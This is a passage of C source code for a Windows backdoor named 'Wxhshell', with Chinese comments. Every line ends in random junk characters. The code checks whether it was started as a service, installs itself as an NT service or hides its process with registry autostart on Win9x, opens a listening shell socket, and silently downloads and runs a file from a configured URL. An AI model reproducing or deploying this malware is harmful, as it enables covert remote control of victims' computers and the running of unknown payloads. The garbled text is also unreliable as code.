DWORD BasePriority; u;`U*@
ULONG UniqueProcessId; /tUy3myJ
ULONG InheritedFromUniqueProcessId; i\dc>C ;
} PROCESS_BASIC_INFORMATION; C*`mM'#
uJ6DO#d`P
PROCNTQSIP NtQueryInformationProcess; Kw#i),M
7^g&)P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a<@N-E xr
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G#?Sfn O0
+).0cs0k5
HANDLE hProcess; *cEob b
PROCESS_BASIC_INFORMATION pbi; DZ_lW
AZmb!}m+d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 435;Vns\n
if(NULL == hInst ) return 0; 9ksE>[7
]niJGt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yR4|S2D3xn
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &o<F7U'R
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /r=tI)'$
~{Mn{
if (!NtQueryInformationProcess) return 0; KG=h&
/RMPS.
d
{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `(3/$%
if(!hProcess) return 0; `P9XqWr
K3=3~uY
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6qp%$>$Vt;
A]DTUdL
CloseHandle(hProcess); #b~JDO(
&SrO)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CjiVnWSz<
if(hProcess==NULL) return 0; d$
^ ,bL2p
gmm|A9+tv
HMODULE hMod; W]nSR RWco
char procName[255]; KhMSL
unsigned long cbNeeded; _N@ro
}oNhl^JC
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [h,Q Bz
)LyojwY_g
CloseHandle(hProcess); ' Tc]KXD6
~t~-A,1
if(strstr(procName,"services")) return 1; // 以服务启动 oIefw:FE,a
;vIrGZV<
return 0; // 注册表启动 Y_QH&GZ
} *Q,0W:~-
z-b*D}&
// 主模块 K=,F#kn
int StartWxhshell(LPSTR lpCmdLine) 3#TV5+x*"`
{ GxKqD;;u?=
SOCKET wsl; R[;zX(y
BOOL val=TRUE; V#`fs|e;y
int port=0; sxt-Vs7+6
struct sockaddr_in door; V,G|k!!
QPfc(Z
if(wscfg.ws_autoins) Install(); VL*ovD%-
%b"\bHH
port=atoi(lpCmdLine); |0%+wB
X3V'Cy/sy
if(port<=0) port=wscfg.ws_port; fF V!)Zj
OdB?_.+$
WSADATA data; GO^_=EMR[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $]/Zxd
`YIf_a{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u,w:SM@*(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
EMfdBY5
door.sin_family = AF_INET; EeF'&zE-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ANps1w#TP
door.sin_port = htons(port); nTz6LVF
x*Y@Q?`>5W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a$Cdhx!
closesocket(wsl); mD/MJt5
return 1; 7Ddaf>
} "1HRLci
k+DR]icv
if(listen(wsl,2) == INVALID_SOCKET) { ^)W[l!!<)
closesocket(wsl); :=[XW?L%x
return 1; n8DxB@DI
} KFFSv{m[
Wxhshell(wsl); ?IGVErnJJC
WSACleanup(); [NTtz
<i@
:P(K2q3
return 0; w18y}mS"H
.k0~Vh2u
} A21N|$[
YR;^hs?
// 以NT服务方式启动 <E0UK^-}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |USX[jm\
{ 1 %,a =,v
DWORD status = 0; b/Xbs0q
DWORD specificError = 0xfffffff; ME=/|.}D<
Vl2XDkhq
serviceStatus.dwServiceType = SERVICE_WIN32; )uqA(R>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F<(i.o(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z%x\~)~
serviceStatus.dwWin32ExitCode = 0; T
N!=@Gy
serviceStatus.dwServiceSpecificExitCode = 0; ^*fxR]Y
serviceStatus.dwCheckPoint = 0; lf!FTm7
serviceStatus.dwWaitHint = 0; C(K; zo*S(
m]cHF.:5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yp:KI7
if (hServiceStatusHandle==0) return; ($~RoQ=0S
Y)}Rb6qGW
status = GetLastError(); @-&s: Qli
if (status!=NO_ERROR) <!pvqNApg
{ '`Wwt.A
serviceStatus.dwCurrentState = SERVICE_STOPPED; kGN+rHo
serviceStatus.dwCheckPoint = 0; 5=1^T@~#&
serviceStatus.dwWaitHint = 0; <dvy"Dx
serviceStatus.dwWin32ExitCode = status; ,DZX$Ug~+E
serviceStatus.dwServiceSpecificExitCode = specificError; _BDK`D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q
pmsOp|
return; 3yNU$.g
} A2nqf^b{#
]$,UPR/3
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y!T
%cTK)a
serviceStatus.dwCheckPoint = 0; \~5C7^_
serviceStatus.dwWaitHint = 0; A<B=f<N3gV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uk,gJR
} E~AjK'Z
RTFZPq84
// 处理NT服务事件,比如:启动、停止 ru7RcYRq
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]]"jw{W}A
{ 5j-]EJb
switch(fdwControl) &EpAg@9!
{ =?-ye!w
case SERVICE_CONTROL_STOP: =Z+nX0qF
serviceStatus.dwWin32ExitCode = 0; |qoKO:B4-[
serviceStatus.dwCurrentState = SERVICE_STOPPED; SM^-Z|d?
serviceStatus.dwCheckPoint = 0; k}#;Uy=5
serviceStatus.dwWaitHint = 0; <u=4*:QE
{ "C*B,D*}:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); FPJd|
} jU5 }\oP@
return; W'on$mB5<
case SERVICE_CONTROL_PAUSE: G5FaYL.7
serviceStatus.dwCurrentState = SERVICE_PAUSED; M1%Dg'}G
break; ZoB{x*IH
case SERVICE_CONTROL_CONTINUE: nA~E
"*
serviceStatus.dwCurrentState = SERVICE_RUNNING; U bYEEY#
break; Ve/xnn]'
case SERVICE_CONTROL_INTERROGATE: 5~yNqC
break; x[Wwq=~
}; 7jJbo]&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \))=gu)I
} vhb)2n
Y+3!f#exm
// 标准应用程序主函数 $:of=WTY(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8#D:H/`'
{ `4 y]Z)
8#&q$kE
// 获取操作系统版本 s-ZI
^I2\
OsIsNt=GetOsVer(); K2<~(78C
GetModuleFileName(NULL,ExeFile,MAX_PATH); z~\t|Z]G,|
)H}#A#ovj7
// 从命令行安装 SZ_V^UX_
if(strpbrk(lpCmdLine,"iI")) Install(); 4&cL[Ny
|G/7_+J6
// 下载执行文件 ;2m<CSv!D
if(wscfg.ws_downexe) { :ah
5`nmPO
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Ym
WinExec(wscfg.ws_filenam,SW_HIDE); ')N{wSM9Ft
} :h1pBEiH
zW8*E E+,
if(!OsIsNt) { d`
Sr4c
// 如果时win9x,隐藏进程并且设置为注册表启动 v0 Ir#B,[H
HideProc(); ]p!Gt,rYq
StartWxhshell(lpCmdLine); D\ H/
} n$:IVX"2b
else 7_# 1Ec|;
if(StartFromService()) k'X;ruQ:tF
// 以服务方式启动 x^*1gv $o
StartServiceCtrlDispatcher(DispatchTable); #pHs@uvO
else &Z^l=YH,
// 普通方式启动 pZZf[p^s|
StartWxhshell(lpCmdLine); T%Pp*1/m7
n$(p-po
return 0; LG]3hz9^9
}